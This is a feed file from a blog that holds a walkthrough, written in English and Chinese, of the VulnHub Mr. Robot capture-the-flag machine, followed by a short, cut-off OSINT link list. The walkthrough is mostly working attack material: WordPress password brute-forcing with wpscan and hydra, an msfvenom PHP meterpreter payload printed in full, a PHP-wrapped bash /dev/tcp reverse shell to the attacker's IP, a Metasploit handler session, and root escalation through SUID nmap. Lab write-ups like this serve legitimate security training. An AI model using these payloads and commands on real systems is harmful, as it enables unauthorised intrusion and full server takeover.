This repository has been archived by the owner on Aug 2, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
733 lines (726 loc) · 255 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<id>https://vkkkv.github.io</id>
<title>vkkkv's blog</title>
<subtitle>Technology & Life</subtitle>
<icon>https://vkkkv.github.io/images/favicon.ico</icon>
<link href="https://vkkkv.github.io" />
<author>
<name>vkkkv</name>
</author>
<updated>2024-07-24T06:47:52.000Z</updated>
<category term="技术" />
<category term="随想" />
<entry>
<id>https://vkkkv.github.io/2024/07/24/CTFNoob/ctf2vulnhubMrRobot/</id>
<title>vulnhub MrRobot</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/07/24/CTFNoob/ctf2vulnhubMrRobot/"/>
<content type="html"><h1 id="vulnhub-mrrobot"><a class="anchor" href="#vulnhub-mrrobot">#</a> vulnhub mrRobot</h1>
<p>Mr.Robot: a American television</p>
<p>record the process of hacking</p>
<h2 id="vulnhub"><a class="anchor" href="#vulnhub">#</a> vulnhub</h2>
<p><span class="exturl" data-url="aHR0cHM6Ly93d3cudnVsbmh1Yi5jb20vZW50cnkvbXItcm9ib3QtMSwxNTEv">https://www.vulnhub.com/entry/mr-robot-1,151/</span></p>
<p>use virtual box</p>
<p>set network bridge network</p>
<h2 id="reference"><a class="anchor" href="#reference">#</a> reference</h2>
<p><span class="exturl" data-url="aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1XYTg4bGs1SnlnayZhbXA7bGlzdD1QTEVsSFI5TU9EdnVkQ1I0eGgzZHF0VXhYRmZoUHgxOWZvJmFtcDtpbmRleD0z">https://www.youtube.com/watch?v=Wa88lk5Jygk&amp;list=PLElHR9MODvudCR4xh3dqtUxXFfhPx19fo&amp;index=3</span></p>
<p><span class="exturl" data-url="aHR0cHM6Ly9tZWRpdW0uY29tL2dlZWtjdWx0dXJlL3Z1bG5odWItbXItcm9ib3QtMzVlYWMzMDc4ZDVj">https://medium.com/geekculture/vulnhub-mr-robot-35eac3078d5c</span></p>
<h2 id="discover"><a class="anchor" href="#discover">#</a> discover</h2>
<h3 id="netdiscover"><a class="anchor" href="#netdiscover">#</a> netdiscover</h3>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre>netdiscover <span class="token parameter variable">-r</span> <span class="token number">192.168</span>.0.0/24</pre></td></tr></table></figure><ul>
<li><strong> <code>-r 192.168.0.0/24</code> </strong>: -r ip range 目标网络地址范围。 <code>192.168.0.0/24</code> 是一个 CIDR 表示法的网络地址,表示扫描 <code>192.168.0.0</code> 到 <code>192.168.0.0</code> 之间的所有 IP 地址。</li>
</ul>
<h3 id="rustscan"><a class="anchor" href="#rustscan">#</a> rustscan</h3>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre>rustscan <span class="token parameter variable">-a</span> <span class="token number">192.168</span>.0.105</pre></td></tr></table></figure><ul>
<li><strong> <code>-a 192.168.0.105</code> </strong>: -a =IP address。在这里, <code>192.168.0.105</code> 是目标主机的 IP 地址。</li>
</ul>
<h2 id="dic-bruteforce"><a class="anchor" href="#dic-bruteforce">#</a> dic bruteforce</h2>
<p>from robot.txt<br />
get two file:</p>
<ul>
<li>fsocity.dic</li>
<li><code>flag</code> :key-1-of-3.txt</li>
</ul>
<h3 id="key-1-of-3txt"><a class="anchor" href="#key-1-of-3txt">#</a> key-1-of-3.txt</h3>
<p>073403c8a58a1f80d943455fb30724b9</p>
<h3 id="fsocitydic"><a class="anchor" href="#fsocitydic">#</a> fsocity.dic</h3>
<p><span class="exturl" data-url="aHR0cDovLzE5Mi4xNjguMC4xMDUvZnNvY2l0eS5kaWM=">http://192.168.0.105/fsocity.dic</span></p>
<h3 id="hash-crack"><a class="anchor" href="#hash-crack">#</a> hash crack</h3>
<p><span class="exturl" data-url="aHR0cHM6Ly9jcmFja3N0YXRpb24ubmV0Lw==">https://crackstation.net/</span></p>
<h3 id="sort"><a class="anchor" href="#sort">#</a> sort</h3>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">sort</span> <span class="token parameter variable">-u</span> fsocity.dic</pre></td></tr></table></figure><p>Sort and remove duplicates<br />
删除重复项</p>
<h3 id="word-count"><a class="anchor" href="#word-count">#</a> word count</h3>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">wc</span> fsocity.dic</pre></td></tr></table></figure><h2 id="crack-password"><a class="anchor" href="#crack-password">#</a> crack password</h2>
<h3 id="burpsuit"><a class="anchor" href="#burpsuit">#</a> burpSuit</h3>
<p>OWASP ZAP is same as burpSuit</p>
<p>intruder</p>
<ul>
<li><strong>intruder</strong>: Burp Suite 的一个功能,用于进行暴力破解、模糊测试等攻击测试。<br />
get username: elliot<br />
get password: ER28-0652</li>
</ul>
<h3 id="wpscan"><a class="anchor" href="#wpscan">#</a> wpscan</h3>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>wpscan <span class="token parameter variable">--url</span> http://192.168.0.105/ <span class="token parameter variable">--passwords</span> dic.txt <span class="token parameter variable">--usernames</span> elliot</pre></td></tr></table></figure><p>get password</p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token punctuation">[</span><span class="token operator">!</span><span class="token punctuation">]</span> Valid Combinations Found:</pre></td></tr><tr><td data-num="2"></td><td><pre> <span class="token operator">|</span> Username: elliot, Password: ER28-0652</pre></td></tr></table></figure><ul>
<li>
<p><strong> <code>--url http://192.168.0.105/</code> </strong>: 指定要扫描的 WordPress 网站的 URL。在这里, <code>http://192.168.0.105/</code> 是目标网站的 URL。</p>
</li>
<li>
<p><strong> <code>--enumerate u</code> </strong>: 指定要扫描的内容。在这里, <code>u</code> 表示扫描用户名。</p>
</li>
<li>
<p><strong> <code>--enumerate p </code> </strong>: 指定要扫描的内容。在这里, <code>p</code> 表示扫描插件。</p>
</li>
<li>
<p><strong> <code>--passwords dic.txt</code> </strong>: 指定密码字典文件的路径和文件名。在这里,密码字典文件是 &quot;dic.txt&quot;,wpscan 将使用这个文件中的密码来尝试登录。</p>
</li>
<li>
<p><strong> <code>--usernames elliot</code> </strong>: 指定要尝试登录的用户名为 &quot;elliot&quot;。</p>
</li>
</ul>
<h3 id="hydra"><a class="anchor" href="#hydra">#</a> hydra</h3>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>hydra <span class="token parameter variable">-vV</span> <span class="token parameter variable">-l</span> elliot <span class="token parameter variable">-P</span> robotdic.txt <span class="token number">192.168</span>.0.105 http-post-form</pre></td></tr></table></figure><ol>
<li>
<p><strong>hydra</strong>: 这是密码破解工具 Hydra 的命令行程序。</p>
</li>
<li>
<p><strong>-vV</strong>: 这是 Hydra 的选项之一,用于显示详细信息。小写的 <code>-v</code> 表示详细输出,大写的 <code>-V</code> 表示显示每次尝试的结果。</p>
</li>
<li>
<p><strong>-l elliot</strong>: 这是指定要尝试登录的用户名为 &quot;elliot&quot;。</p>
</li>
<li>
<p><strong>-P robotdic.txt</strong>: 这是指定密码字典文件的路径和文件名。在这里,密码字典文件是 &quot;robotdic.txt&quot;,Hydra 将使用这个文件中的密码来尝试登录。</p>
</li>
<li>
<p><strong>192.168.0.105</strong>: 这是目标主机的 IP 地址,即要攻击的目标。</p>
</li>
<li>
<p><strong>http-post-form</strong>: 这是 Hydra 攻击的模块之一,指定使用 HTTP POST 表单进行攻击。</p>
</li>
</ol>
<h2 id="get-webshell"><a class="anchor" href="#get-webshell">#</a> get webshell</h2>
<h3 id="msfvenom"><a class="anchor" href="#msfvenom">#</a> msfvenom</h3>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>msfvenom <span class="token parameter variable">-p</span> php/meterpreter/reverse_tcp <span class="token assign-left variable">LHOST</span><span class="token operator">=</span><span class="token number">192.168</span>.0.106 <span class="token assign-left variable">LPORT</span><span class="token operator">=</span><span class="token number">4567</span> <span class="token parameter variable">-f</span> raw <span class="token operator">></span> shell.php</pre></td></tr></table></figure><ul>
<li>
<p><strong> <code>-p php/meterpreter/reverse_tcp</code> </strong>: 指定要生成的 payload 类型。在这里, <code>php/meterpreter/reverse_tcp</code> 表示生成一个 PHP 脚本,该脚本会在目标主机上启动一个 meterpreter 会话,并通过 TCP 协议连接到指定的 IP 地址和端口。</p>
</li>
<li>
<p><code>-f</code> <strong>raw</strong>: 指定输出格式为 <code>raw</code> 格式,即原始的 payload 数据。</p>
</li>
<li>
<p><strong> <code>LHOST=192.168.0.106</code> </strong>: 指定 payload 连接的 IP 地址。在这里, <code>192.168.0.102</code> 是攻击者的 IP 地址。</p>
</li>
<li>
<p><strong> <code>LPORT=4567</code> </strong>: 指定 payload 连接的端口。在这里, <code>4567</code> 是攻击者监听的端口。</p>
</li>
</ul>
<p>get webshell<br />
write shell.php to 404.php</p>
<figure class="highlight php"><figcaption data-lang="PHP"></figcaption><table><tr><td data-num="1"></td><td><pre>/*<span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token comment">/**/</span> <span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$ip</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'192.168.0.106'</span><span class="token punctuation">;</span> <span class="token variable">$port</span> <span class="token operator">=</span> <span class="token number">4567</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$f</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'stream_socket_client'</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">is_callable</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token variable">$s</span> <span class="token operator">=</span> <span class="token variable">$f</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"tcp://<span class="token interpolation"><span class="token punctuation">&#123;</span><span class="token variable">$ip</span><span class="token punctuation">&#125;</span></span>:<span class="token interpolation"><span class="token punctuation">&#123;</span><span class="token variable">$port</span><span class="token punctuation">&#125;</span></span>"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$s_type</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'stream'</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$s</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span><span class="token variable">$f</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'fsockopen'</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">is_callable</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token variable">$s</span> <span class="token operator">=</span> <span class="token variable">$f</span><span class="token punctuation">(</span><span class="token variable">$ip</span><span class="token punctuation">,</span> <span class="token variable">$port</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$s_type</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'stream'</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$s</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span><span class="token variable">$f</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'socket_create'</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">is_callable</span><span class="token punctuation">(</span><span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token variable">$s</span> <span class="token operator">=</span> <span class="token variable">$f</span><span class="token punctuation">(</span><span class="token constant">AF_INET</span><span class="token punctuation">,</span> <span class="token constant">SOCK_STREAM</span><span class="token punctuation">,</span> <span class="token constant">SOL_TCP</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$res</span> <span class="token operator">=</span> @<span class="token function">socket_connect</span><span class="token punctuation">(</span><span class="token variable">$s</span><span class="token punctuation">,</span> <span class="token variable">$ip</span><span class="token punctuation">,</span> <span class="token variable">$port</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token variable">$s_type</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'socket'</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$s_type</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'no socket funcs'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$s</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'no socket'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span><span class="token variable">$s_type</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token keyword">case</span> <span class="token string single-quoted-string">'stream'</span><span class="token punctuation">:</span> <span class="token variable">$len</span> <span class="token operator">=</span> <span class="token function">fread</span><span class="token punctuation">(</span><span class="token variable">$s</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">case</span> <span class="token string single-quoted-string">'socket'</span><span class="token punctuation">:</span> <span class="token variable">$len</span> <span class="token operator">=</span> <span class="token function">socket_read</span><span class="token punctuation">(</span><span class="token variable">$s</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$len</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token variable">$a</span> <span class="token operator">=</span> <span class="token function">unpack</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Nlen"</span><span class="token punctuation">,</span> <span class="token variable">$len</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$len</span> <span class="token operator">=</span> <span class="token variable">$a</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'len'</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token variable">$b</span> <span class="token operator">=</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token variable">$len</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span><span class="token variable">$s_type</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token keyword">case</span> <span class="token string single-quoted-string">'stream'</span><span class="token punctuation">:</span> <span class="token variable">$b</span> <span class="token operator">.=</span> <span class="token function">fread</span><span class="token punctuation">(</span><span class="token variable">$s</span><span class="token punctuation">,</span> <span class="token variable">$len</span><span class="token operator">-</span><span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">case</span> <span class="token string single-quoted-string">'socket'</span><span class="token punctuation">:</span> <span class="token variable">$b</span> <span class="token operator">.=</span> <span class="token function">socket_read</span><span class="token punctuation">(</span><span class="token variable">$s</span><span class="token punctuation">,</span> <span class="token variable">$len</span><span class="token operator">-</span><span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token punctuation">&#125;</span> <span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'msgsock'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$s</span><span class="token punctuation">;</span> <span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'msgsock_type'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$s_type</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">extension_loaded</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'suhosin'</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">ini_get</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'suhosin.executor.disable_eval'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token variable">$suhosin_bypass</span><span class="token operator">=</span><span class="token function">create_function</span><span class="token punctuation">(</span><span class="token string single-quoted-string">''</span><span class="token punctuation">,</span> <span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$suhosin_bypass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span> <span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></pre></td></tr></table></figure><h2 id="another-method"><a class="anchor" href="#another-method">#</a> another method</h2>
<h3 id="php-reverse-shell"><a class="anchor" href="#php-reverse-shell">#</a> php-reverse-shell</h3>
<figure class="highlight php"><figcaption data-lang="PHP"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/bin/bash -c 'bash -i >&amp; /dev/tcp/192.168.0.106/4567 0>&amp;1'"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token delimiter important">?></span></span></pre></td></tr></table></figure><ol>
<li>
<p><strong>exec 函数</strong>: PHP 中的 exec 函数用于执行外部命令。在这里,exec 函数被用来执行一个命令字符串。</p>
</li>
<li>
<p><strong>命令字符串</strong>: <code>/bin/bash -c 'bash -i &gt;&amp; /dev/tcp/192.168.0.106/4567 0&gt;&amp;1'</code></p>
</li>
</ol>
<ul>
<li>当 PHP 执行这段代码时,它会调用 <code>exec</code> 函数来执行指定的命令。</li>
<li>命令中的 <code>/bin/bash -c</code> 启动了一个 bash shell,并通过 <code>-i</code> 参数设置为交互模式。</li>
<li>接着, <code>&gt;&amp; /dev/tcp/192.168.0.106/4567</code> 将 bash 的标准输出和标准错误都重定向到指定的 IP 地址和端口号上,这里假设攻击者已经在远程主机上监听了 <code>4567</code> 端口。</li>
<li><code>0&gt;&amp;1</code> 则将标准输入也重定向到与标准输出相同的地方,这样就建立了一个完整的双向连接。</li>
</ul>
<h3 id="msfconsole"><a class="anchor" href="#msfconsole">#</a> msfconsole</h3>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>use exploit/multi/handler</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token builtin class-name">set</span> payload php/meterpreter/reverse_tcp</pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token builtin class-name">set</span> LHOST <span class="token number">192.168</span>.0.106</pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token builtin class-name">set</span> LPORT <span class="token number">4567</span></pre></td></tr><tr><td data-num="5"></td><td><pre>run</pre></td></tr></table></figure><p>get</p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>msf6 exploit<span class="token punctuation">(</span>multi/handler<span class="token punctuation">)</span> <span class="token operator">></span> run</pre></td></tr><tr><td data-num="2"></td><td><pre></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token punctuation">[</span>*<span class="token punctuation">]</span> Started reverse TCP handler on <span class="token number">192.168</span>.0.106:4567 </pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token punctuation">[</span>*<span class="token punctuation">]</span> Sending stage <span class="token punctuation">(</span><span class="token number">39927</span> bytes<span class="token punctuation">)</span> to <span class="token number">192.168</span>.0.105</pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token punctuation">[</span>*<span class="token punctuation">]</span> Meterpreter session <span class="token number">1</span> opened <span class="token punctuation">(</span><span class="token number">192.168</span>.0.106:4567 -<span class="token operator">></span> <span class="token number">192.168</span>.0.105:60842<span class="token punctuation">)</span> at <span class="token number">2024</span>-07-24 02:28:06 <span class="token parameter variable">-0400</span></pre></td></tr></table></figure><p>get flag</p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">cat</span> /home/robot/key-2-of-3.txt</pre></td></tr><tr><td data-num="2"></td><td><pre>822c73956184f694993bede3eb39f959</pre></td></tr></table></figure><h2 id="root-privilege"><a class="anchor" href="#root-privilege">#</a> root privilege</h2>
<h3 id="python"><a class="anchor" href="#python">#</a> python</h3>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>python <span class="token parameter variable">-c</span> <span class="token string">'import pty; pty.spawn("/bin/sh")'</span></pre></td></tr></table></figure><h3 id="suid"><a class="anchor" href="#suid">#</a> suid</h3>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">find</span> / <span class="token parameter variable">-perm</span> /4000 <span class="token parameter variable">-type</span> f <span class="token operator"><span class="token file-descriptor important">2</span>></span>/tmp/2</pre></td></tr></table></figure><figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">find</span> / <span class="token parameter variable">-perm</span> <span class="token parameter variable">-u</span><span class="token operator">=</span>s <span class="token parameter variable">-type</span> f <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null</pre></td></tr></table></figure><p>get</p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>/bin/ping</pre></td></tr><tr><td data-num="2"></td><td><pre>/bin/umount</pre></td></tr><tr><td data-num="3"></td><td><pre>/bin/mount</pre></td></tr><tr><td data-num="4"></td><td><pre>/bin/ping6</pre></td></tr><tr><td data-num="5"></td><td><pre>/bin/su</pre></td></tr><tr><td data-num="6"></td><td><pre>/usr/bin/passwd</pre></td></tr><tr><td data-num="7"></td><td><pre>/usr/bin/newgrp</pre></td></tr><tr><td data-num="8"></td><td><pre>/usr/bin/chsh</pre></td></tr><tr><td data-num="9"></td><td><pre>/usr/bin/chfn</pre></td></tr><tr><td data-num="10"></td><td><pre>/usr/bin/gpasswd</pre></td></tr><tr><td data-num="11"></td><td><pre>/usr/bin/sudo</pre></td></tr><tr><td data-num="12"></td><td><pre>/usr/local/bin/nmap</pre></td></tr></table></figure><h3 id="nmap"><a class="anchor" href="#nmap">#</a> nmap</h3>
<p>nmap version 3.81 bug</p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre>nmap <span class="token parameter variable">--interactive</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token operator">!</span>/bin/sh</pre></td></tr></table></figure><p>get flag</p>
<figure class="highlight shell"><figcaption data-lang="Bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token function">cat</span> key-3-of-3.txt</pre></td></tr><tr><td data-num="2"></td><td><pre>04787ddef27c3dee1ee161b21670b4e4</pre></td></tr></table></figure></content>
<category term="CTFNoob" scheme="https://vkkkv.github.io/categories/CTFNoob/" />
<category term="CTF" scheme="https://vkkkv.github.io/tags/CTF/" />
<category term="vulnhub" scheme="https://vkkkv.github.io/tags/vulnhub/" />
<updated>2024-07-24T06:47:52.000Z</updated>
</entry>
<entry>
<id>https://vkkkv.github.io/2024/07/11/cyber/osint/OSINT/</id>
<title>OSINT</title>
<link rel="alternate" href="https://vkkkv.github.io/2024/07/11/cyber/osint/OSINT/"/>
<content type="html"><h1 id="osint"><a class="anchor" href="#osint">#</a> OSINT</h1>
<h2 id="search"><a class="anchor" href="#search">#</a> search</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9hZHZhbmNlZF9zZWFyY2g=">https://www.google.com/advanced_search</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly95YW5kZXguY29tLw==">https://yandex.com/</span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly90aW5leWUuY29tLw==">https://tineye.com/</span></li>
</ul>
<h2 id="fakenamegenerator"><a class="anchor" href="#fakenamegenerator">#</a> fakenamegenerator</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly93d3cuZmFrZW5hbWVnZW5lcmF0b3IuY29tLw==">https://www.fakenamegenerator.com/</span></li>
</ul>
<h2 id="exiftool"><a class="anchor" href="#exiftool">#</a> exiftool</h2>
<ul>
<li><span class="exturl" data-url="aHR0cHM6Ly9vbmxpbmVleGlmdmlld2VyLmNvbS8=">https://onlineexifviewer.com/</span></li>
</ul>
<h2 id="satellite-image"><a class="anchor" href="#satellite-image">#</a> satellite image</h2>
